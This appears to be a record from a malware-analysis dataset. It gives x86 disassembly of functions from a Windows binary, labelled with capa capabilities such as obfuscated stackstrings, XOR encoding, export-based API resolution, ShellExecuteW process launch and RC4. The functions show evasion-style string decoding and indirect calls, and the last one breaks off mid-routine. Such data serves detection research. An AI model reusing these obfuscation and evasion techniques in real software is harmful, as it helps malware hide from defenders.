joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d370
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.0043fb20
test al, al
je 0x40d596
mov dword [esp], 0x9796b28d
mov byte [esp + 4], 0
mov eax, 0x898d9ea6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x7672615a]
xor ecx, eax
lea edx, [ecx + ecx]
and edx, 0x130d82
sub ecx, edx
add ecx, 0x503be6c1
mov esi, ecx
and esi, edx
xor ecx, edx
lea ecx, [ecx + esi*2]
inc cl
mov byte [esp + eax + 0x7672615a], cl
inc eax
cmp eax, 0x898d9eab
jne 0x40d3a0
mov eax, dword [esp]
mov ecx, eax
and ecx, 0xff368126
mov edx, eax
and edx, 0xc97ed9
or eax, 0xc97ed9
imul eax, edx
xor edx, 0xc97ed9
imul edx, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
lea ecx, [eax + ecx*2]
mov eax, ecx
shr eax, 7
mov edx, eax
and edx, ecx
add ecx, eax
mov esi, ecx
not esi
lea edx, [esi + edx*2]
and edx, eax
mov esi, edx
and esi, 2
mov edi, edx
or edi, 0xfffffffd
inc edi
mov eax, edx
and eax, 0xfffffffd
imul eax, edi
or edx, 2
imul edx, esi
sub eax, edx
add eax, ecx
mov edx, eax
and edx, 0xb9fe1a8
mov esi, eax
or esi, 0xb9fe1a8
imul esi, edx
xor edx, 0xb9fe1a8
mov dword [esp], 0x8b940625
mov word [esp + 4], 0
and eax, 0xf4601e57
imul eax, edx
xor edx, edx
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
xor cl, 0xdf
add cl, dl
xor cl, byte [esp + ebx]
add cl, 0xa5
mov byte [esp + ebx], cl
inc ebx
add dl, 2
cmp ebx, 6
jne 0x40d470
add eax, esi
cmp eax, dword [esp]
jne 0x40d55f
mov dword [esp], 0x37433947
mov dword [esp + 4], 0x33003548
mov dword [esp + 8], 0x4fc6314d
mov dword [esp + 0xc], 0x4b6a4d31
mov dword [esp + 0x10], 0x4739497b
mov dword [esp + 0x14], 0x4544
mov word [esp + 0x18], 0
xor eax, eax
xor ecx, ecx
nop
nop
movzx esi, byte [esp + ecx]
mov edi, eax
and edi, 0x2c
mov edx, ecx
xor edx, 0xea33836
add edx, edi
xor edx, esi
mov esi, 0xe
sub esi, edx
add edx, 0xf1
and esi, 0x62
and edx, 0x9d
sub edx, esi
add dl, 0x63
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x1a
jne 0x40d4d0
mov dword [esp + 0x1c], 0x19aa1bad
mov dword [esp + 0x20], 0xe554e7b3
mov dword [esp + 0x24], 0xe3e4
mov word [esp + 0x28], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0xfb
xor cl, byte [esp + eax + 0x1c]
add cl, 0x19
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0xe
jne 0x40d530
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4473da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00437170
test al, al
je 0x40d591
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d57e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e5a0
test al, al
je 0x40d591
call fcn.00411030
call fcn.0040ffc0
call fcn.00440a10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d830
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov esi, dword [esp + 0x74]
mov dword [esp + 0x14], ecx
mov edi, dword [ecx + 0x60]
mov word [esp], 0xfbe5
mov byte [esp + 2], 0xf2
mov word [esp + 3], 0
mov byte [esp + 5], 0
mov ebx, esp
xor eax, eax
xor ecx, ecx
nop
mov edx, ecx
and dl, 0xf8
add dl, al
xor dl, byte [ebx]
xor dl, 0x54
add dl, 0x5c
mov byte [ebx], dl
inc ebx
add ecx, 2
inc al
cmp ecx, 0xc
jne 0x40d860
mov dword [esp + 8], 0x8e888ce2
mov word [esp + 0xc], 0x858e
mov dword [esp + 0xe], 0
mov ebx, 0x73c92a20
mov ebp, 0xdf
nop
nop
nop
movzx ecx, byte [esp + ebx - 0x73c92a18]
mov eax, ebp
xor eax, ebx
and eax, ecx
xor eax, ebx
add eax, 0xbd122d5f
mov ecx, eax
and ecx, 0x3b
add ecx, ecx
xor eax, 0xc4
sub ecx, eax
add cl, 0xc5
mov byte [esp + ebx - 0x73c92a18], cl
inc ebx
dec ebp
cmp ebx, 0x73c92a2a
jne 0x40d8a0
mov dword [esp + 0x18], 0xae90e4e5
mov dword [esp + 0x1c], 0xb2b2e0e4
mov dword [esp + 0x20], 0xb7bab0e5
mov dword [esp + 0x24], 0xbabf86b3
mov dword [esp + 0x28], 0xf2bfb3b2
mov dword [esp + 0x2c], 0x88dde7e9
mov dword [esp + 0x30], 0x8d87958e
mov dword [esp + 0x34], 0x8eaac098
mov dword [esp + 0x38], 0x80858183
mov dword [esp + 0x3c], 0x98978195
mov dword [esp + 0x40], 0x95eac39e
mov dword [esp + 0x44], 0xd2939793
mov dword [esp + 0x48], 0xa28ea09c
mov dword [esp + 0x4c], 0x5e681d37
mov dword [esp + 0x50], 0x193f646d
mov byte [esp + 0x54], 0xf4
mov dword [esp + 0x55], 0
mov ebx, 0x4d
mov ebp, 0xffff09b3
mov edx, dword [esp + 0x70]
nop
nop
nop
nop
nop
nop
mov eax, ebp
xor eax, 0x5b
mov ecx, ebp
or ecx, 0xa4
and ecx, eax
lea eax, [ebp + 0xf700]
or eax, 0x5b
add eax, ebx
or eax, ecx
xor al, byte [esp + ebx - 0x35]
xor al, 0xa4
add al, 0x84
mov byte [esp + ebx - 0x35], al
inc ebx
dec ebp
cmp ebx, 0x8e
jne 0x40d970
add edx, edi
movzx eax, byte [esp + 0x18]
mov edi, edx
test al, al
je 0x40d9cb
lea ecx, [esp + 0x19]
mov edi, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40d9c0
mov byte [edi], 0
movzx eax, byte [esi]
test al, al
je 0x40d9eb
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x40d9e0
mov byte [edi], 0
movzx eax, byte [esp + 8]
test al, al
je 0x40da0b
lea ecx, [esp + 9]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40da00
mov byte [edi], 0
mov ecx, dword [esp + 0x78]
movzx eax, byte [ecx]
test al, al
je 0x40da2b
inc ecx
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40da20
mov byte [edi], 0
movzx eax, byte [esp]
test al, al
je 0x40da4b
lea ecx, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40da40
mov byte [edi], 0
sub edi, edx
mov eax, dword [esp + 0x14]
add dword [eax + 0x60], edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40ffd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x43c
mov edi, dword [esp + 0x450]
mov dword [esp + 0x3c], 0x99eb9bcf
mov dword [esp + 0x40], 0xa5d1a71e
mov dword [esp + 0x44], 0xa1d6a3d0
mov dword [esp + 0x48], 0xad9fafcf
mov dword [esp + 0x4c], 0xa998ab97
mov dword [esp + 0x50], 0xb596b798
mov dword [esp + 0x54], 0xb1ebb39c
mov dword [esp + 0x58], 0xbdccbfc7
mov dword [esp + 0x5c], 0xb9cbbbd0
mov dword [esp + 0x60], 0xc5bbc7c1
mov dword [esp + 0x64], 0xc190c3e4
mov dword [esp + 0x68], 0xcdeecf9c
mov dword [esp + 0x6c], 0xc9facbf3
mov dword [esp + 0x70], 0xd5e6d7fa
mov dword [esp + 0x74], 0xd1f2d391
mov dword [esp + 0x78], 0xdda9df89
mov dword [esp + 0x7c], 0xd9e0dbae
mov dword [esp + 0x80], 0xe5a3e7e4
mov dword [esp + 0x84], 0xe19ae3c4
mov dword [esp + 0x88], 0xedd2efda
mov dword [esp + 0x8c], 0xe9caebdb
mov dword [esp + 0x90], 0xf586f7a7
mov dword [esp + 0x94], 0xf186f384
mov dword [esp + 0x98], 0xfda7ff9b
mov dword [esp + 0x9c], 0xf994fb97
mov dword [esp + 0xa0], 0x57107ad
mov dword [esp + 0xa4], 0x1330378
mov dword [esp + 0xa8], 0xd330f3b
mov dword [esp + 0xac], 0x9380b35
mov dword [esp + 0xb0], 0x152c1735
mov dword [esp + 0xb4], 0x113a1334
mov dword [esp + 0xb8], 0x1d561f45
mov dword [esp + 0xbc], 0x19491b40
mov dword [esp + 0xc0], 0x2512274c
mov dword [esp + 0xc4], 0x21562304
mov dword [esp + 0xc8], 0x2d5b2f57
mov dword [esp + 0xcc], 0x290a2b47
mov dword [esp + 0xd0], 0x355d3761
mov dword [esp + 0xd4], 0x31473359
mov dword [esp + 0xd8], 0x3d093f41
mov dword [esp + 0xdc], 0x39773b1c
mov dword [esp + 0xe0], 0x45384750
mov dword [esp + 0xe4], 0x41314335
mov dword [esp + 0xe8], 0x4d7f4f2b
mov dword [esp + 0xec], 0x49754b73
mov dword [esp + 0xf0], 0x5564570f
mov dword [esp + 0xf4], 0x51605364
mov dword [esp + 0xf8], 0x5d6c5f60
mov dword [esp + 0xfc], 0x597a5b6c
mov dword [esp + 0x100], 0x65096705
mov dword [esp + 0x104], 0x610d630e
mov dword [esp + 0x108], 0x6d196f1e
mov dword [esp + 0x10c], 0x69516b5d
mov dword [esp + 0x110], 0x754f7755
mov dword [esp + 0x114], 0x714f7346
mov dword [esp + 0x118], 0x7d7e7f4a
mov word [esp + 0x11c], 0
mov eax, dword [0x44e774]
mov ecx, 0x7678779b
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x7678775f]
xor edx, ecx
mov esi, 1
sub esi, edx
not esi
or esi, edx
and esi, 1
add esi, esi
mov ebx, esi
and ebx, edx
xor edx, 1
add edx, 0xf8
xor edx, esi
lea edx, [edx + ebx*2]
mov byte [esp + ecx - 0x7678775f], dl
inc ecx
cmp ecx, 0x7678787d
jne 0x410230
lea ecx, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ecx
call eax
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov ecx, 0xf42cf195
xor ecx, dword [0x448fd0]
mov eax, dword [eax*4 + 0x448fc8]
add eax, ecx
inc eax
xor ebx, ebx
xor ebp, ebp
jmp eax
Function at 0x411030
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x4499bc]
Function at 0x425120
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov ecx, dword [esp + 0x30]
mov eax, 0xfffffffe
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x425130
cmp eax, 0xffffffed
jge 0x425147
mov eax, 0xffffffff
jmp 0x42514a
add eax, 0x12
push eax
call fcn.0040cbb0
add esp, 4
mov dword [esp], eax
mov dword [esp + 4], 0x93399134
mov dword [esp + 8], 0x9f079d31
mov dword [esp + 0xc], 0x9bcc99c4
mov dword [esp + 0x10], 0x87248528
mov dword [esp + 0x14], 0x8180
mov byte [esp + 0x18], 0
mov eax, 0x523e8825
mov ecx, 0xadc177db
nop
nop
nop
movzx esi, byte [esp + eax - 0x523e8821]
mov ebx, ecx
and ebx, 0x880064bb
mov edx, ecx
or edx, 0x27cf9344
add edx, eax
or edx, ebx
xor edx, esi
mov ebx, edx
and ebx, 0x6006574b
xor ebx, 0x4000440b
and edx, 0x9a38a8b4
mov ebp, edx
xor ebp, 0x3088004
mov esi, ebx
sub esi, ebp
sub ebp, ebx
or ebp, 1
add ebp, esi
mov edi, ebp
and edi, 2
mov esi, ebp
or ebp, 2
imul ebp, edi
xor edi, 2
and esi, 0xfd
imul esi, edi
xor edx, 0xfb
add edx, ebx
and ebx, 1
and edx, 0xfe
or edx, ebx
add edx, ebp
add edx, esi
mov byte [esp + eax - 0x523e8821], dl
inc eax
dec ecx
cmp eax, 0x523e883a
jne 0x425190
mov edx, dword [esp + 0x30]
movzx ecx, word [edx]
mov esi, dword [esp]
mov eax, esi
test cx, cx
je 0x425241
add edx, 2
mov eax, esi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425230
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x425271
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425260
mov word [eax], 0
lea eax, [esp + 4]
push eax
push esi
call fcn.00443bf0
add esp, 8
mov edi, eax
mov ebx, dword [esp + 4]
jmp dword [0x44af60]
Function at 0x427a60
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x98
mov dword [esp + 8], 0x9de0b37
mov dword [esp + 0xc], 0x5fb07f9
mov dword [esp + 0x10], 0x1f603fb
mov dword [esp + 0x14], 0x1dee1fdf
mov dword [esp + 0x18], 0x19c61bec
mov dword [esp + 0x1c], 0x159a17e7
mov dword [esp + 0x20], 0x112913eb
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x2f10
mov byte [esp + 0x28], 0
mov ecx, 0x7e436bc3
mov edx, 0x3c
nop
nop
nop
movzx esi, byte [esp + ecx - 0x7e436bbb]
mov edi, edx
and edi, 0xb6
mov ebx, ecx
and ebx, 0x49
or ebx, edi
xor ebx, ecx
xor ebx, 0x49
and ebx, esi
xor ebx, ecx
add bl, 0x31
mov byte [esp + ecx - 0x7e436bbb], bl
inc ecx
dec edx
cmp ecx, 0x7e436be4
jne 0x427ac0
lea ebp, [esp + 0x7a]
lea edx, [esp + 8]
mov edi, ebp
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x96]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 4]
push eax
push 0
push 0
push 0xe
push ebp
push 0
call dword [0x44fab8]
mov ebx, dword [esp + 4]
mov edi, 0xffffffff
test ebx, ebx
jns 0x427b42
mov eax, 0xffffffff
jmp 0x427b45
lea eax, [ebx + ebx]
push eax
call fcn.0040cbb0
add esp, 4
mov esi, eax
lea eax, [esp + 4]
push eax
push ebx
push esi
push 0xe
push ebp
push 0
call dword [0x44fab8]
mov eax, dword [esp + 4]
mov ecx, eax
add ecx, 9
js 0x427b74
lea edi, [eax*2 + 0x12]
push edi
call fcn.0040cbb0
add esp, 4
mov dword [esp], eax
mov dword [esp + 8], 0x49ba4ba8
mov dword [esp + 0xc], 0x45db47d7
mov dword [esp + 0x10], 0x41dd43d1
mov dword [esp + 0x14], 0x7de57fd9
mov dword [esp + 0x18], 0x797a7bf1
mov word [esp + 0x1c], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 8]
mov edx, eax
xor edx, 0x5a9ebfec
mov edi, eax
or edi, 0xa5614013
and edx, edi
add edx, edi
mov edi, edx
and edi, ecx
lea ebx, [edx + ecx]
not ebx
lea ebx, [ebx + edi*2]
and ebx, edx
add ebx, ebx
mov edi, ebx
not edi
and edi, edx
not edx
and edx, ebx
sub edi, edx
add edi, ecx
mov ecx, edi
and ecx, 1
xor edi, 1
lea ecx, [edi + ecx*2]
add cl, 0xa0
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x16
jne 0x427bc0
movzx ecx, word [esi]
mov eax, dword [esp]
test cx, cx
je 0x427c31
lea edx, [esi + 2]
mov eax, dword [esp]
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427c20
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x427c61
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427c50
mov word [eax], 0
lea eax, [esp + 0x74]
push eax
push dword [esp + 4]
call fcn.00443bf0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b690]
Function at 0x4282e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x88
mov dword [esp + 4], 0xe9adeb8f
mov dword [esp + 8], 0xed7eef78
mov dword [esp + 0xc], 0xd175d3a8
mov dword [esp + 0x10], 0xd571d744
mov dword [esp + 0x14], 0xd966dbbf
mov dword [esp + 0x18], 0xdd76df6c
mov dword [esp + 0x1c], 0xc150c347
mov dword [esp + 0x20], 0xc56dc764
mov dword [esp + 0x24], 0xc96ccb52
mov dword [esp + 0x28], 0xcd58cf67
mov dword [esp + 0x2c], 0x318e3368
mov dword [esp + 0x30], 0x35a03780
mov dword [esp + 0x34], 0x39903ba5
mov dword [esp + 0x38], 0x3d923f97
mov dword [esp + 0x3c], 0x21b72397
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x2720
mov byte [esp + 0x44], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 4]
mov esi, ecx
and esi, 0x55
mov edi, ecx
and edi, 2
mov ebp, edi
xor ebp, 2
imul ebp, esi
or esi, 2
imul esi, edi
mov ebx, ecx
xor ebx, 0xf657
add ebx, ebp
add ebx, esi
mov esi, ebx
and esi, edx
add ebx, edx
add esi, esi
sub ebx, esi
add bl, 0x4d
mov byte [esp + ecx + 4], bl
inc ecx
cmp ecx, 0x41
jne 0x428380
lea ebx, [esp + 0x4a]
lea edx, [esp + 4]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x86]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, esp
push edi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44fab8]
mov ebp, dword [esp]
test ebp, ebp
jns 0x428406
mov eax, 0xffffffff
jmp 0x42840d
lea eax, [ebp*2]
push eax
call fcn.0040cbb0
add esp, 4
mov esi, eax
push edi
push ebp
push eax
push 0x1e
push ebx
push 0
call dword [0x44fab8]
mov dword [esp + 4], 0x9f20be0
mov dword [esp + 8], 0x5f40783
mov dword [esp + 0xc], 0x1f903f8
mov dword [esp + 0x10], 0x1de01f8e
mov dword [esp + 0x14], 0x19941beb
mov dword [esp + 0x18], 0x151617e4
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
mov eax, 0x1859a343
mov ecx, 0xe7a65cbc
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x1859a33f]
mov edi, eax
and edi, edx
add edi, edi
sub edi, edx
add edi, ecx
and edi, eax
add edi, edi
lea ebp, [ecx + 0x1859a400]
and ebp, edi
mov ebx, edi
not ebx
and ebx, eax
sub ebx, ebp
add bl, dl
add bl, 0xb1
mov byte [esp + eax - 0x1859a33f], bl
inc eax
dec ecx
cmp eax, 0x1859a35e
jne 0x428470
push 0
push 0
lea eax, [esp + 0xc]
push eax
push esi
push dword [esp + 0xac]
call fcn.00423200
add esp, 0x14
jmp dword [0x44b6e8]

Function at 0x42a0c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x83c
mov dword [esp + 8], 0
xor esi, esi
mov eax, 0x20219
mov ecx, 1
xor ebp, ebp
jmp dword [ecx*4 + 0x44bde8]
Function at 0x42b0c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.0042b0e0
add esp, 4
test al, al
je 0x42b8b0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0xffc09d1
mov dword [esp + 0xa4], 0x3f60dfb
mov dword [esp + 0xa8], 0x7fa01e1
mov dword [esp + 0xac], 0x1bca05f8
mov dword [esp + 0xb0], 0x1fea19f9
mov dword [esp + 0xb4], 0x13121de4
mov word [esp + 0xb8], 0
mov byte [esp + 0xba], 0
mov eax, 0xcb207dc2
mov ecx, 0x3d
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x34df82de]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
mov esi, edx
and esi, 0x35
xor edx, 0x35
lea edx, [edx + esi*2]
inc dl
mov byte [esp + eax + 0x34df82de], dl
inc eax
dec ecx
cmp eax, 0xcb207ddd
jne 0x42b920
mov dword [esp + 0x14], 0x81d48720
mov dword [esp + 0x18], 0x8dcb83cf
mov dword [esp + 0x1c], 0x89d38fc7
mov dword [esp + 0x20], 0x95d88bd4
mov dword [esp + 0x24], 0x913297cf
mov dword [esp + 0x28], 0x9dd193c7
mov dword [esp + 0x2c], 0x99d69fd1
mov dword [esp + 0x30], 0xe5cc9bd3
mov dword [esp + 0x34], 0xe142e7ab
mov dword [esp + 0x38], 0xedb3e3bd
mov dword [esp + 0x3c], 0xe9b2efa2
mov dword [esp + 0x40], 0xf5a9ebb1
mov dword [esp + 0x44], 0xf1b9f7a6
mov dword [esp + 0x48], 0xfdacf354
mov dword [esp + 0x4c], 0xf94aff5f
mov dword [esp + 0x50], 0xc555fb46
mov dword [esp + 0x54], 0xc19bc760
mov dword [esp + 0x58], 0xcd6dc37c
mov dword [esp + 0x5c], 0xc979cf6f
mov word [esp + 0x60], 0xcbc8
mov byte [esp + 0x66], 0
mov dword [esp + 0x62], 0
mov eax, 0x5e
mov ecx, 0xa1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x8d]
mov esi, edx
not esi
lea edi, [edx + edx]
not edi
add edi, edx
and edi, esi
or edi, eax
or edx, ecx
and edx, edi
add dl, 0xdb
mov byte [esp + ecx - 0x8d], dl
dec eax
inc ecx
cmp eax, 0xb
jne case.default.0x42ba5a
lea ebx, [esp + 0xa0]
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.0043ad00
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44bf48]
Function at 0x42bb8c
Capabilities:
Copy file

Disassembly:
push edi
call fcn.0040cbc0
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x44bf58]

Function at 0x42bba6
Capabilities:
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x44bf58]
Function at 0x42f320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x40]
cmp edi, 0x24
ja 0x42f37a
cmp edi, 1
je 0x42f37a
mov ebp, dword [esp + 0x38]
mov ebx, ebp
jmp 0x42f351
inc ebx
movzx eax, byte [ebx]
movzx ecx, al
lea edx, [ecx - 9]
cmp edx, 5
jb 0x42f350
cmp ecx, 0x20
je 0x42f350
cmp ecx, 0x2b
mov edx, edi
je 0x42f370
cmp ecx, 0x2d
jne 0x42f38f
inc ebx
cmp al, 0x2b
sete byte [esp + 3]
jmp 0x42f394
xor edi, edi
test esi, esi
je 0x42f569
mov dword [esi], 0x16
jmp 0x42f569
mov byte [esp + 3], 1
test edx, edx
mov dword [esp + 4], ebp
jle 0x42f3bd
cmp edx, 0x10
jne 0x42f3d5
cmp byte [ebx], 0x30
jne 0x42f3b6
movzx eax, byte [ebx + 1]
and al, 0xdf
xor ecx, ecx
cmp al, 0x58
sete cl
lea ebx, [ebx + ecx*2]
mov edi, 0x10
jmp 0x42f3d7
xor eax, eax
xor ecx, ecx
cmp byte [ebx], 0x30
setne al
sete cl
add ebx, ecx
lea edi, [eax*2 + 8]
jmp 0x42f3d7
mov edi, edx
movzx ecx, byte [esp + 3]
mov eax, SysReAllocString
mov dword [esp + 0x18], ecx
sub eax, ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
xor edx, edx
div edi
mov dword [esp + 0x1c], eax
xor ebp, ebp
mov dword [esp + 8], 0
mov edx, edi
mov dword [esp + 0x20], edi
inc ebx
jmp 0x42f431
mov ebp, ecx
mov dword [esp + 8], 0
mov esi, dword [esp + 0x44]
test esi, esi
je 0x42f500
mov dword [esi], 0x22
mov dword [esp + 4], ebx
inc ebx
mov edi, ebp
movsx eax, byte [ebx - 1]
lea ecx, [eax - 0x30]
cmp ecx, 0xa
jae 0x42f450
and eax, 0xf
lea ebp, [eax + eax]
sub ebp, eax
cmp ebp, edx
jl 0x42f471
jmp 0x42f534
mov ecx, eax
and ecx, 0xffffffdf
add ecx, 0xffffffbf
cmp ecx, 0x1a
jae 0x42f534
or al, 0x20
movsx ebp, al
add ebp, 0xffffffa9
cmp ebp, edx
jge 0x42f534
mov eax, edi
mov ecx, dword [esp + 0xc]
xor eax, ecx
mov esi, dword [esp + 8]
or eax, esi
je 0x42f410
mov dword [esp + 0x14], ebx
mov eax, edi
mov ecx, edx
mul edx
mov dword [esp + 4], eax
xor eax, eax
cmp dword [esp + 0x1c], edi
mov edi, 0
sbb edi, esi
setae bl
jae 0x42f4b0
xor edx, edx
mov esi, dword [esp + 0xc]
jmp 0x42f4b9
imul esi, ecx
add edx, esi
mov esi, dword [esp + 4]
mov ecx, ebp
sar ecx, 0x1f
mov edi, dword [esp + 0xc]
sub edi, ebp
sbb eax, ecx
add ebp, esi
adc ecx, edx
mov dword [esp + 8], ecx
cmp edi, esi
mov ecx, dword [esp + 0xc]
sbb eax, edx
setae al
jae 0x42f4e5
mov dword [esp + 8], 0
mov ebp, ecx
and bl, al
mov esi, dword [esp + 0x44]
test esi, esi
mov edx, dword [esp + 0x20]
je 0x42f51b
test bl, bl
jne 0x42f51b
mov ebx, dword [esp + 0x14]
jmp 0x42f426
mov dword [esp + 0x10], 0x22
mov dword [esp + 4], ebx
mov ebp, ecx
mov dword [esp + 8], 0
jmp 0x42f40b
test bl, bl
jne 0x42f527
mov dword [esp + 0x10], 0x22
mov ebx, dword [esp + 0x14]
mov dword [esp + 4], ebx
jmp 0x42f40b
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x42f542
mov ecx, dword [esp + 4]
mov dword [eax], ecx
mov ecx, dword [esp + 0x44]
test ecx, ecx
mov eax, dword [esp + 0x10]
je 0x42f550
mov eax, dword [ecx]
cmp eax, 0x22
jne 0x42f560
mov edi, SysReAllocString
sub edi, dword [esp + 0x18]
jmp 0x42f569
cmp byte [esp + 3], 0
jne 0x42f569
neg edi
mov eax, edi
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x431eb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x14]
movzx edi, word [esi]
test di, di
je 0x431fe1
mov eax, dword [esp + 0x18]
mov ecx, eax
not ecx
lea edx, [ecx + eax*2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test edx, edx
je 0x431fe1
movzx ebx, di
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x431f00
lea ecx, [ebp + 1]
mov byte [ebp], bl
jmp 0x431f90
cmp ebx, 0x7ff
ja 0x431f30
cmp edx, 2
jb 0x431f30
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [ebp], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [ebp + 2]
mov byte [ebp + 1], bl
jmp 0x431f90
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x431fa6
cmp edx, 4
jb 0x431fa6
movzx ecx, word [esi + 2]
add esi, 4
shl ebx, 0xa
lea eax, [ebx + ecx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 2], al
mov al, 0x3f
sub al, cl
and al, 0x3f
xor al, 0xbf
lea ecx, [ebp + 4]
mov byte [ebp + 3], al
mov edi, esi
nop
nop
nop
nop
nop
nop
add edx, ebp
sub edx, ecx
mov esi, edi
mov ebp, ecx
movzx edi, word [esi]
test di, di
jne 0x431ee0
jmp 0x431fe1
movzx eax, cx
cmp eax, 0xdc00
jne 0x431fb4
mov esi, edi
jmp 0x431f98
cmp edx, 3
jb 0x431fdd
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
